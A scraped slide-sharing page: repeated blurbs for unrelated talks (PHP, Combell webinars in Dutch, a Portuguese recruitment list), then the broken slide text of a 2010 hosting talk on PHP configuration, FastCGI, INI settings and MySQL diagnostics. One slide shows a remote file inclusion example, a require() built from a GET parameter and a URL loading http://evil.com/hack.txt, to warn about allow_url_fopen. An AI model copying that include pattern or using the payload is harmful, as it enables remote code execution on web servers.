phpunit is testing framework for php testing.
A browser is able to give the syntax error but what if in case of some logical error.
Phpunit testing enables you to check your logic.
It is fully object oriented framework.
It also can be enabled in Netbeans.
you can find the option of phpunit testing in Netbeans
PHP string function helps us to manipulate string in various ways. There are various types of string function available. Here we discuss some important functions and its use with examples.
phpunit is testing framework for php testing.
A browser is able to give the syntax error but what if in case of some logical error.
Phpunit testing enables you to check your logic.
It is fully object oriented framework.
It also can be enabled in Netbeans.
you can find the option of phpunit testing in Netbeans
PHP string function helps us to manipulate string in various ways. There are various types of string function available. Here we discuss some important functions and its use with examples.
With PHP 5.4 out and many production environments still running 5.2 (or older), it's time to paint a clear picture on why everyone should move to 5.3 and 5.4 and how to get code ready for the latest version of PHP. In this talk, we'll migrate an old piece of code using some standard and some very non-standard tools and techniques.
Machine learning in php php con polandDamien Seguy
Machine learning is teaching the computer how to learn by itself. It is far easier to be done, especially when you have small data set and a good level of expertise in your field. Classifying objects, predicting who will buy, spotting comments in code is achieved with grassy algorithms like neural networks, genetic algorithms or ant herding. PHP is in good position to make use of such teachings, and take advantages of related technologies like fann. By the end of the session, you'll know where you want to try it.
The why and how of moving to PHP 5.4/5.5Wim Godden
With PHP 5.5 out and many production environments still running 5.2 (or older), it's time to paint a clear picture on why everyone should move to 5.4 and 5.5 and how to get code ready for the latest version of PHP. In this talk, we'll migrate an old piece of code using some standard and some very non-standard tools and techniques.
A description of the most important features in the upcoming major PHP version: PHP 7.
Includes some code samples and references to the corresponding RFCs of each of the features.
The why and how of moving to php 5.4/5.5Wim Godden
With PHP 5.5 out and many production environments still running 5.2 (or older), it's time to paint a clear picture on why everyone should move to 5.4 and 5.5 and how to get code ready for the latest version of PHP. In this talk, we'll look at some handy tools and techniques to ease the migration.
TWIG: the flexible, fast and secure template language for PHPCesare D'Amico
TWIG is a template engine created by Fabien Potencier, the father of Symfony. In this talk you'll learn why he wrote it, its main features and strengths.
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.Graham Dumpleton
Python is a dynamic programming language and has a strong tradition of adhering to a programming style called duck-typing. This means that it is possible to easily modify an application's code while it is running. One might wish to do this for various reasons, including enhancing the functionality of code, correcting errant behaviour, or adding instrumentation or debugging code.
Making such code modifications can be tricky though and not done correctly can potentially interfere with the operation of the original code, through destroying introspection abilities, not honouring the duck-typing mantra or due to being applied at the wrong time.
If you do need to do monkey patching though, the 'wrapt' library is your friend, with its transparent object proxy wrappers and post import hook mechanism, it allows you to safely monkey patch code to modify its behaviour.
Learn about the 'wrapt' library and the joys, but also the dangers, of monkey patching.
PHP 7 is on track, ready to hit the road later this year. What does it bring?
What other alternative do we have in the PHP World? Be from alternative implementations point of views, like hhvm or other, or do we have existing solutions to speed up PHP already? Using the existing versions?
Unit testing, everyone talks about it and wants to do it but never gets around to actually start testing. Complex spaghetti code and time / budget pressures are often the reasons why nobody dives in and gets started with testing. But when the application breaks, and people loose money or worse it's often too late.
In this talk I will take you on a journey with real examples that will show you how you can set up your tests, how to test complex situations with legacy spaghetti code, test web services, database interactions and how to gradually build a solid foundation to safeguard the core code base and everything around it.
Don't you want to be confident when you walk out the office?
Implementing a decorator for thread synchronisation.Graham Dumpleton
Using multithreading in Python applications? Interested in complex use cases for decorators and context managers? This talk will describe how the Java programming language "synchronized" keyword, for handling synchronisation in multithread applications, can be implemented in Python.
With PHP 5.4 out and many production environments still running 5.2 (or older), it's time to paint a clear picture on why everyone should move to 5.3 and 5.4 and how to get code ready for the latest version of PHP. In this talk, we'll migrate an old piece of code using some standard and some very non-standard tools and techniques.
Machine learning in php php con polandDamien Seguy
Machine learning is teaching the computer how to learn by itself. It is far easier to be done, especially when you have small data set and a good level of expertise in your field. Classifying objects, predicting who will buy, spotting comments in code is achieved with grassy algorithms like neural networks, genetic algorithms or ant herding. PHP is in good position to make use of such teachings, and take advantages of related technologies like fann. By the end of the session, you'll know where you want to try it.
The why and how of moving to PHP 5.4/5.5Wim Godden
With PHP 5.5 out and many production environments still running 5.2 (or older), it's time to paint a clear picture on why everyone should move to 5.4 and 5.5 and how to get code ready for the latest version of PHP. In this talk, we'll migrate an old piece of code using some standard and some very non-standard tools and techniques.
A description of the most important features in the upcoming major PHP version: PHP 7.
Includes some code samples and references to the corresponding RFCs of each of the features.
The why and how of moving to php 5.4/5.5Wim Godden
With PHP 5.5 out and many production environments still running 5.2 (or older), it's time to paint a clear picture on why everyone should move to 5.4 and 5.5 and how to get code ready for the latest version of PHP. In this talk, we'll look at some handy tools and techniques to ease the migration.
TWIG: the flexible, fast and secure template language for PHPCesare D'Amico
TWIG is a template engine created by Fabien Potencier, the father of Symfony. In this talk you'll learn why he wrote it, its main features and strengths.
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.Graham Dumpleton
Python is a dynamic programming language and has a strong tradition of adhering to a programming style called duck-typing. This means that it is possible to easily modify an application's code while it is running. One might wish to do this for various reasons, including enhancing the functionality of code, correcting errant behaviour, or adding instrumentation or debugging code.
Making such code modifications can be tricky though and not done correctly can potentially interfere with the operation of the original code, through destroying introspection abilities, not honouring the duck-typing mantra or due to being applied at the wrong time.
If you do need to do monkey patching though, the 'wrapt' library is your friend, with its transparent object proxy wrappers and post import hook mechanism, it allows you to safely monkey patch code to modify its behaviour.
Learn about the 'wrapt' library and the joys, but also the dangers, of monkey patching.
PHP 7 is on track, ready to hit the road later this year. What does it bring?
What other alternative do we have in the PHP World? Be from alternative implementations point of views, like hhvm or other, or do we have existing solutions to speed up PHP already? Using the existing versions?
Unit testing, everyone talks about it and wants to do it but never gets around to actually start testing. Complex spaghetti code and time / budget pressures are often the reasons why nobody dives in and gets started with testing. But when the application breaks, and people loose money or worse it's often too late.
In this talk I will take you on a journey with real examples that will show you how you can set up your tests, how to test complex situations with legacy spaghetti code, test web services, database interactions and how to gradually build a solid foundation to safeguard the core code base and everything around it.
Don't you want to be confident when you walk out the office?
Implementing a decorator for thread synchronisation.Graham Dumpleton
Using multithreading in Python applications? Interested in complex use cases for decorators and context managers? This talk will describe how the Java programming language "synchronized" keyword, for handling synchronisation in multithread applications, can be implemented in Python.
A informação constante da presente lista diz respeito ao critério de seleção – GRADUAÇÃO PROFISSIONAL – tendo os dados agora publicitados sido exportados diretamente da plataforma digital da DGAE;
Grupo de Recrutamento: 510 - Física e Química Nº Horas:13 Data final da candidatura: 2016-01-29 Nº Horário: 29 Ficheiro gerado em: 01/02/2016 Ficheiro publicitado em: 01/02/2016
ACTIVIDADES DE ENRIQUECIMENTO CURRICULAR – 2016/2017
ATIVIDADE FÍSICA E DESPORTIVA
LISTA UNITÁRIA DE ORDENAÇÃO
A presente lista de ordenação foi retirada da aplicação informática da DGAE resultando dos dados inseridos pelos candidatos na fase de candidatura.
A ordenação dos candidatos com a mesma pontuação foi efectuada pela própria aplicação informática com base nos elementos indicados para efeitos de desempate.
No momento da apresentação será solicitado aos candidatos que procedam à confirmação dos dados apresentados no processo de candidatura.
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
This is a light training/presentation talk.
My name is Lyon Yang and I am an IoT hacker. I live in sunny Singapore where IoT is rapidly being deployed – in production. This walkthrough will aim to shed light on the subject of IoT, from finding vulnerabilities in IoT devices to getting shiny hash prompts.
Our journey starts with a holistic view of IoT security, the issues faced by IoT devices and the common mistakes made by IoT developers. Things will then get technical as we progress into a both ARM and MIPS exploitation, followed by a ‘hack-along-with-us’ workshop where you will be exploiting a commonly found IoT daemon. If you are new to IoT or a seasoned professional you will likely learn something new in this workshop.
https://www.iotvillage.org/#schedule
Python and Oracle : allies for best of data managementLaurent Leturgez
In this presentation, I described Python and how Python can Interact with Oracle database, and Oracle Cloud Infrastructure in various project : from data visualisation to data science.
PHP / MySQL applications are compatible to all operating systems, support all the popular databases, 100% remotely configurable, perfect for web programming & provide higher performance and speed.
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.
MySQL is a Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
PHP is the most popular scripting language for web development. It is free, open source and server-side (the code is executed on the server).
PHP third party tool and plug-in integration such as chat, forum, blog and search engine
Play it extra safe! Kies een goede cyberverzekeringCombell NV
Bij Combell zorgen we voor de beste beveiliging tegen hackers en andere cyberaanvallen. Helaas is 100% waterdichte beveiliging een utopie. We ijveren altijd voor de beste voorzorgen en set-ups. Maar er zijn altijd nieuwe technieken, bugs of lekken.
Als je business – in meerdere of mindere mate - afhangt van IT om te blijven draaien, dan is zelfs de beste security niet voldoende. Een onderbreking kan een té groot prijskaartje met zich mee brengen. Net daarvoor zijn er cyberverzekeringen, zij dekken de geleden schade als er toch iets voorvalt.
Hoe werkt zo’n cyber insurance? Waar ben je dan precies tegen verzekerd en hoe kies je een goede polis? De experten van Vanbreda Risk & Benefits brengen de aandachtspunten aan het licht. Je zal versteld staan van de mogelijke scenario’s!
Bekijk onze oplossingen voor datasecurity:
https://www.combell.com/nl/beveiliging-op-maat
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
Heb je interesse om onze diensten te verkopen? Dan kan je partner worden van Combell en je eigen resellerplatform inrichten. Dat kan al vanaf 5 hostingpakketten en het wordt steeds voordeliger naarmate jouw aantal afgenomen pakketten stijgt. Je betaalt echter enkel wat je, of liever jouw klanten, effectief gebruiken.
Op ons resellerplatform ben je als het ware zelf hostingprovider. Je kan je eigen hostingpakketten aanmaken, gebruikers toelaten en tal van instellingen aanpassen. Je kan het white-labelled aanbieden aan je klanten of zelfs in je eigen stijl gieten.
We willen graag dat je als partner alles uit ons platform kan halen wat we erin gestoken hebben, en dat is heel wat. Daarom toont één van onze channel accountmanagers je in de webinar van deze PowerPoint alle features die je in het controlepaneel kan gebruiken om ons resellerplatform optimaal te benutten.
Bekijk ons partner aanbod:
https://www.combell.com/nl/reseller-hosting
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Managed WordPress bij Combell – wat doet dat precies?Combell NV
WordPress is terecht uitgegroeid tot het populairste CMS dankzij zijn gebruiksvriendelijkheid. Maar hoe gebruiksvriendelijk WordPress ook is, er zijn nog altijd dingen die je zelf moet doen - de nieuwste beveiligingsupdates uitvoeren bijvoorbeeld. Dat vormt voor veel mensen toch een hinderpaal.
Met ons nieuw aanbod, Managed WordPress, proberen we hier een antwoord op te bieden. Kies je voor deze formule, dan kan jij je volledig focussen op de content van je website. Combell bekommert zich om de rest: beveiliging, snelheid, updates…
Bekijk alvast onze Managed WordPress pakketten:
https://www.combell.com/nl/hosting/managed-wordpress
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Back-ups: Hoe ze je kunnen redden van een cyberaanvalCombell NV
Het aantal cyberaanvallen stijgt jaar na jaar en ook de methoden die cybercriminelen gebruiken worden beter. Maar één ding is belangrijk om te blijven onthouden: 100% veiligheid bestaat niet. Er is altijd wel een stukje software met een lek of een onbeveiligd apparaat dat cybercriminelen de kans geeft in te breken in je omgeving. En ook menselijke fouten kunnen je waardevolle informatie doen kwijtspelen.
Nadenken over de manier waarop je omgaat met back-ups is dus cruciaal. De beste back-up strategie is echter sterk afhankelijk van je bedrijf en je data. Het vereist een planning waarbij je goed nadenkt over welke keuzes het best zijn voor jouw onderneming.
Kies je bijvoorbeeld voor een lokale opslag of toch eerder voor de cloud? Of allebei?
Een back-up op een andere locatie (off-site) is soms het enige wat uit de handen van hackers kan blijven. Zeker wanneer je bedrijfsvoering afhangt van automatische processen is dit een niet te verwaarlozen onderdeel van je back-up strategie.
Bekijk ons Veeam Cloud Connect aanbod:
https://www.combell.com/nl/backup/veeam-cloud-connect
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCombell NV
Lig jij tegenwoordig ook wakker van alle mogelijke online bedreigingen? Heb je nog maar eens een nieuwe Engelse term gehoord of gelezen en vraag je je af of je hiertegen wel beschermd bent? Als je een eigen bedrijf en/of website hebt, is dat een terechte bezorgdheid.
In de sessie van deze presentatie lichten we toe wat die bedreigingen nu eigenlijk inhouden. Wat doen hackers precies om je website of bedrijf aan te vallen? We geven hier praktische voorbeelden van zodat die abstracte termen eindelijk een concrete vorm krijgen.
Maar we houden het niet bij bangmakerij! We geven je ook de tips om alert te zijn voor deze dreigingen en de to do’s om je website en infrastructuur ertegen te beschermen.
Bekijk onze oplossingen voor beveiliging op maat:
https://www.combell.com/nl/beveiliging-op-maat
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
Heb je interesse om onze diensten te verkopen? Dan kan je partner worden van Combell en je eigen resellerplatform inrichten. Dat kan al vanaf 5 hostingpakketten en het wordt steeds voordeliger naarmate jouw aantal afgenomen pakketten stijgt. Je betaalt echter enkel wat je, of liever jouw klanten, effectief gebruiken.
Op ons resellerplatform ben je als het ware zelf hostingprovider. Je kan je eigen hostingpakketten aanmaken, gebruikers toelaten en tal van instellingen aanpassen. Je kan het white-labelled aanbieden aan je klanten of zelfs in je eigen stijl gieten.
We willen graag dat je als partner alles uit ons platform kan halen wat we erin gestoken hebben, en dat is heel wat. Daarom toont één van onze channel accountmanagers je in de webinar van deze PowerPoint alle features die je in het controlepaneel kan gebruiken om ons resellerplatform optimaal te benutten.
Bekijk ons partner aanbod:
https://www.combell.com/nl/reseller-hosting
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Hoe laat je jouw website scoren in zoekmachines zoals GoogleCombell NV
Een mooie website of webshop bouwen is een goede start, maar zonder bezoekers is al deze moeite tevergeefs. Er zal promotie van jouw website nodig zijn om deze bekend te maken, maar je kan ook al veel verkeer genereren zonder grote marketingbudgetten. Eén van de mogelijkheden hiervoor is zoekmachineoptimalisatie of kortweg SEO (search engine optimization).
Als je potentiële klanten naar je product zoeken in zoekmachines zoals Google wil je bij de bovenste resultaten verschijnen en niet onder jouw concurrenten. Maar hoe doe je dat? Hoe kan je met je site hoog scoren in de zoekmachines om zo meer kopers op je webshop te krijgen, of leads te genereren voor je bedrijf?
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Een webshop bouwen in WooCommerce – advanced sessieCombell NV
Eens je de keuze voor WooCommerce hebt gemaakt en je de installatie hebt afgerond, begint het echte werk. We helpen je in de webinar van deze powerpoint met het effectief opzetten van je webshop.
Van het uploaden van je producten tot het ontvangen van je betalingen. We wijzen je ook op een aantal belangrijke aandachtspunten zoals het updaten en beveiligen van je webshop.
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
Hoe start je een webshop met WordPress / WooCommerceCombell NV
Als je een webshop wilt starten moet je heel wat keuzes maken. De grootste keuze is het platform waarop je jouw webshop zal bouwen.
WordPress is het populairste CMS omwille van zijn gebruiksvriendelijkheid en bovendien is de licentie gratis. Met de brede keuze aan thema’s en makkelijk te installeren plug-ins ben je meteen aan de slag. WooCommerce is één van die plug-ins en maakt het mogelijk om met beperkte technische kennis een professionele webshop te bouwen.
In deze PowerPoint loodsen we je kort door de verschillende keuzes en zetten we jou op weg met de installatie en configuratie van een WooCommerce webshop.
Heb je interesse om de webinar van deze presentatie of één van onze andere trainingen te volgen? Bekijk onze kalender: https://www.combell.com/nl/resources/events
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex ProofsAlex Pruden
This paper presents Reef, a system for generating publicly verifiable succinct non-interactive zero-knowledge proofs that a committed document matches or does not match a regular expression. We describe applications such as proving the strength of passwords, the provenance of email despite redactions, the validity of oblivious DNS queries, and the existence of mutations in DNA. Reef supports the Perl Compatible Regular Expression syntax, including wildcards, alternation, ranges, capture groups, Kleene star, negations, and lookarounds. Reef introduces a new type of automata, Skipping Alternating Finite Automata (SAFA), that skips irrelevant parts of a document when producing proofs without undermining soundness, and instantiates SAFA with a lookup argument. Our experimental evaluation confirms that Reef can generate proofs for documents with 32M characters; the proofs are small and cheap to verify (under a second).
Paper: https://eprint.iacr.org/2023/1886
Full-RAG: A modern architecture for hyper-personalizationZilliz
Mike Del Balso, CEO & Co-Founder at Tecton, presents "Full RAG," a novel approach to AI recommendation systems, aiming to push beyond the limitations of traditional models through a deep integration of contextual insights and real-time data, leveraging the Retrieval-Augmented Generation architecture. This talk will outline Full RAG's potential to significantly enhance personalization, address engineering challenges such as data management and model training, and introduce data enrichment with reranking as a key solution. Attendees will gain crucial insights into the importance of hyperpersonalization in AI, the capabilities of Full RAG for advanced personalization, and strategies for managing complex data integrations for deploying cutting-edge AI solutions.
A tale of scale & speed: How the US Navy is enabling software delivery from l...sonjaschweigert1
Rapid and secure feature delivery is a goal across every application team and every branch of the DoD. The Navy’s DevSecOps platform, Party Barge, has achieved:
- Reduction in onboarding time from 5 weeks to 1 day
- Improved developer experience and productivity through actionable findings and reduction of false positives
- Maintenance of superior security standards and inherent policy enforcement with Authorization to Operate (ATO)
Development teams can ship efficiently and ensure applications are cyber ready for Navy Authorizing Officials (AOs). In this webinar, Sigma Defense and Anchore will give attendees a look behind the scenes and demo secure pipeline automation and security artifacts that speed up application ATO and time to production.
We will cover:
- How to remove silos in DevSecOps
- How to build efficient development pipeline roles and component templates
- How to deliver security artifacts that matter for ATO’s (SBOMs, vulnerability reports, and policy evidence)
- How to streamline operations with automated policy checks on container images
How to Get CNIC Information System with Paksim Ga.pptxdanishmna97
Pakdata Cf is a groundbreaking system designed to streamline and facilitate access to CNIC information. This innovative platform leverages advanced technology to provide users with efficient and secure access to their CNIC details.
Epistemic Interaction - tuning interfaces to provide information for AI supportAlan Dix
Paper presented at SYNERGY workshop at AVI 2024, Genoa, Italy. 3rd June 2024
https://alandix.com/academic/papers/synergy2024-epistemic/
As machine learning integrates deeper into human-computer interactions, the concept of epistemic interaction emerges, aiming to refine these interactions to enhance system adaptability. This approach encourages minor, intentional adjustments in user behaviour to enrich the data available for system learning. This paper introduces epistemic interaction within the context of human-system communication, illustrating how deliberate interaction design can improve system understanding and adaptation. Through concrete examples, we demonstrate the potential of epistemic interaction to significantly advance human-computer interaction by leveraging intuitive human communication strategies to inform system design and functionality, offering a novel pathway for enriching user-system engagements.
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Albert Hoitingh
In this session I delve into the encryption technology used in Microsoft 365 and Microsoft Purview. Including the concepts of Customer Key and Double Key Encryption.
Maruthi Prithivirajan, Head of ASEAN & IN Solution Architecture, Neo4j
Get an inside look at the latest Neo4j innovations that enable relationship-driven intelligence at scale. Learn more about the newest cloud integrations and product enhancements that make Neo4j an essential choice for developers building apps with interconnected data and generative AI.
Climate Impact of Software Testing at Nordic Testing DaysKari Kakkonen
My slides at Nordic Testing Days 6.6.2024
Climate impact / sustainability of software testing discussed on the talk. ICT and testing must carry their part of global responsibility to help with the climat warming. We can minimize the carbon footprint but we can also have a carbon handprint, a positive impact on the climate. Quality characteristics can be added with sustainability, and then measured continuously. Test environments can be used less, and in smaller scale and on demand. Test techniques can be used in optimizing or minimizing number of tests. Test automation can be used to speed up testing.
Communications Mining Series - Zero to Hero - Session 1DianaGray10
This session provides introduction to UiPath Communication Mining, importance and platform overview. You will acquire a good understand of the phases in Communication Mining as we go over the platform with you. Topics covered:
• Communication Mining Overview
• Why is it important?
• How can it help today’s business and the benefits
• Phases in Communication Mining
• Demo on Platform overview
• Q/A
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfPaige Cruz
Monitoring and observability aren’t traditionally found in software curriculums and many of us cobble this knowledge together from whatever vendor or ecosystem we were first introduced to and whatever is a part of your current company’s observability stack.
While the dev and ops silo continues to crumble….many organizations still relegate monitoring & observability as the purview of ops, infra and SRE teams. This is a mistake - achieving a highly observable system requires collaboration up and down the stack.
I, a former op, would like to extend an invitation to all application developers to join the observability party will share these foundational concepts to build on:
GraphSummit Singapore | The Art of the Possible with Graph - Q2 2024Neo4j
Neha Bajwa, Vice President of Product Marketing, Neo4j
Join us as we explore breakthrough innovations enabled by interconnected data and AI. Discover firsthand how organizations use relationships in data to uncover contextual insights and solve our most pressing challenges – from optimizing supply chains, detecting fraud, and improving customer experiences to accelerating drug discoveries.
Enchancing adoption of Open Source Libraries. A case study on Albumentations.AIVladimir Iglovikov, Ph.D.
Presented by Vladimir Iglovikov:
- https://www.linkedin.com/in/iglovikov/
- https://x.com/viglovikov
- https://www.instagram.com/ternaus/
This presentation delves into the journey of Albumentations.ai, a highly successful open-source library for data augmentation.
Created out of a necessity for superior performance in Kaggle competitions, Albumentations has grown to become a widely used tool among data scientists and machine learning practitioners.
This case study covers various aspects, including:
People: The contributors and community that have supported Albumentations.
Metrics: The success indicators such as downloads, daily active users, GitHub stars, and financial contributions.
Challenges: The hurdles in monetizing open-source projects and measuring user engagement.
Development Practices: Best practices for creating, maintaining, and scaling open-source libraries, including code hygiene, CI/CD, and fast iteration.
Community Building: Strategies for making adoption easy, iterating quickly, and fostering a vibrant, engaged community.
Marketing: Both online and offline marketing tactics, focusing on real, impactful interactions and collaborations.
Mental Health: Maintaining balance and not feeling pressured by user demands.
Key insights include the importance of automation, making the adoption process seamless, and leveraging offline interactions for marketing. The presentation also emphasizes the need for continuous small improvements and building a friendly, inclusive community that contributes to the project's growth.
Vladimir Iglovikov brings his extensive experience as a Kaggle Grandmaster, ex-Staff ML Engineer at Lyft, sharing valuable lessons and practical advice for anyone looking to enhance the adoption of their open-source projects.
Explore more about Albumentations and join the community at:
GitHub: https://github.com/albumentations-team/albumentations
Website: https://albumentations.ai/
LinkedIn: https://www.linkedin.com/company/100504475
Twitter: https://x.com/albumentations
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfMalak Abu Hammad
Discover how MongoDB Atlas and vector search technology can revolutionize your application's search capabilities. This comprehensive presentation covers:
* What is Vector Search?
* Importance and benefits of vector search
* Practical use cases across various industries
* Step-by-step implementation guide
* Live demos with code snippets
* Enhancing LLM capabilities with vector search
* Best practices and optimization strategies
Perfect for developers, AI enthusiasts, and tech leaders. Learn how to leverage MongoDB Atlas to deliver highly relevant, context-aware search results, transforming your data retrieval process. Stay ahead in tech innovation and maximize the potential of your applications.
#MongoDB #VectorSearch #AI #SemanticSearch #TechInnovation #DataScience #LLM #MachineLearning #SearchTechnology
Dr. Sean Tan, Head of Data Science, Changi Airport Group
Discover how Changi Airport Group (CAG) leverages graph technologies and generative AI to revolutionize their search capabilities. This session delves into the unique search needs of CAG’s diverse passengers and customers, showcasing how graph data structures enhance the accuracy and relevance of AI-generated search results, mitigating the risk of “hallucinations” and improving the overall customer journey.
20 Comprehensive Checklist of Designing and Developing a WebsitePixlogix Infotech
Dive into the world of Website Designing and Developing with Pixlogix! Looking to create a stunning online presence? Look no further! Our comprehensive checklist covers everything you need to know to craft a website that stands out. From user-friendly design to seamless functionality, we've got you covered. Don't miss out on this invaluable resource! Check out our checklist now at Pixlogix and start your journey towards a captivating online presence today.
By Design, not by Accident - Agile Venture Bolzano 2024
Php through the eyes of a hoster pbc10
1. PHP
through
the
eyes
of
a
hoster
Thijs
Feryn
Support
manager
+32
(0)9
218
79
06
thijs@combellgroup.com
PHP
Barcelona
Conference
Saturday
October
30th
2010
Barcelona
Spain
11. Goals
&
moKves
Our
goals
&
mo]ves
are
the
same
as
yours:
• It
has
to
work
• It
has
to
perform
• It
has
to
scale
• It
has
to
be
secure
• It
has
to
be
available
17. Installing
using
a
package
manager
(APT/ApKtude)
Install
PHP:
Install
MySQL
library
for
PHP:
server$
apt-‐get
install
php5
server$
apt-‐get
install
php5-‐mysql
18. SAPI
...
schmapi
Mod_php FastCGI CLI
Web Apache
module gateway -‐
Process Apache
process php-‐cgi php
Configura]on Apache
conf
files wrapper on
the
fly
User Apache
user
shell
user
or
suexec
user
shell
user
19. FastCGI
Example
config:
• Apache
handler
<IfModule
mod_fcgid.c>
SuexecUserGroup
dev
dev
PHP_Fix_Pathinfo_Enable
1
<Directory
/var/www/dev/www/>
Options
+ExecCGI
AllowOverride
All
AddHandler
fcgid-‐script
.php
FCGIWrapper
/var/www/dev/etc/fcgi.wrapper
.php
Order
allow,deny
Allow
from
all
</Directory>
</IfModule>
22. INI
seQngs:
tales
of
good
&
evil
Defining
INI
se<ngs:
• Php.ini
• Ini_set()
• “-‐d”
• php_value
• php_flag
• php_admin_value
• php_admin_flag
23. INI
seQngs:
tales
of
good
&
evil
Memory_limit:
Fatal
error:
Allowed
memory
size
of
16777216
bytes
exhausted
(tried
to
allocate
35
bytes)
24.
25. INI
seQngs:
tales
of
good
&
evil
Safe_mode
&
Open_basedir:
<IfModule
mod_php5.c>
php_admin_flag
engine
on
php_admin_flag
safe_mode
off
php_admin_value
open_basedir
"/var/www/vhosts/
website.com/httpdocs:/tmp"
</IfModule>
26. INI
seQngs:
tales
of
good
&
evil
Allow_url_fopen:
<?php
$lang= $_GET['lang'];
require("$lang.php");
http://domain.ext/index.php?lang=http://evil.com/hack.txt?
29. PHP
4:
End
of
life,
but
far
from
dead
Parse
error:
syntax
error,
unexpected
T_STRING,
expecting
T_OLD_FUNCTION
or
T_FUNCTION
or
T_VAR
or
'}'
in
test.php
on
line
4
62. mysql>
explain
SELECT
field1,
(SELECT
COUNT(*)
FROM
table2
WHERE
field3
=
table1.id)
FROM
table1
WHERE
field2
=
1
ORDER
BY
field4
DESC
limit
12,12;
***************************
1.
row
***************************
id:
1
select_type:
PRIMARY
table:
table1
type:
ALL
possible_keys:
approved
key:
approved
key_len:
NULL
ref:
NULL
rows:
3143
Extra:
Using
where;
Using
filesort
***************************
2.
row
***************************
id:
2
select_type:
DEPENDENT
SUBQUERY
table:
table2
type:
ALL
possible_keys:
NULL
key:
NULL
key_len:
NULL
ref:
NULL
rows:
1005
Extra:
Using
where
63. mysql>
show
processlist;
+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
|
Id
|
User
|
Host
|
db
|
Command
|
Time
|
State
|
Info
|
+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
|
63515
|
root
|
localhost
|
db
|
Query
|
0
|
NULL
|
show
processlist
|
|
81763
|
root
|
localhost
|
db
|
Sleep
|
105
|
|
NULL
|
|
85187
|
root
|
localhost
|
db
|
Query
|
0
|
Sending
data
|
SELECT
data
from
someTable
where
field
=
'val'
|
|
82701
|
root
|
localhost
|
db
|
Query
|
0
|
Copying
to
tmp
table
|
SELECT
data
from
someTable
where
field='val2'
|
|
82709
|
root
|
localhost
|
db
|
Query
|
0
|
Sorting
result
|
SELECT
data
from
someTable
where
order
by
field
|
|
82716
|
root
|
localhost
|
db
|
Query
|
0
|
Opening
tables
|
SELECT
data
from
someOtherTable
|
+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐
+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
71. Summary
1.Hosters
are
a
genuine
stakeholder
in
the
PHP
universe
2.PHP
is
highly
flexible
&
configurable.
Hosters
have
to
ensure
a
decent
setup
3.PHP
has
a
lot
to
offer
feature-‐wise
4.PHP
aOracts
a
crowd
and
brings
a
lot
of
people
together
from
different
industries
(e.g.
hosters)
5.Lots
of
abuse
cases
are
PHP
related,
but
that’s
not
the
fault
of
PHP
itself
6.PHP
itself
doesn’t
scale
*that*
well,
but
is
flexible
enough
to
ensure
scalability
via
extra
tools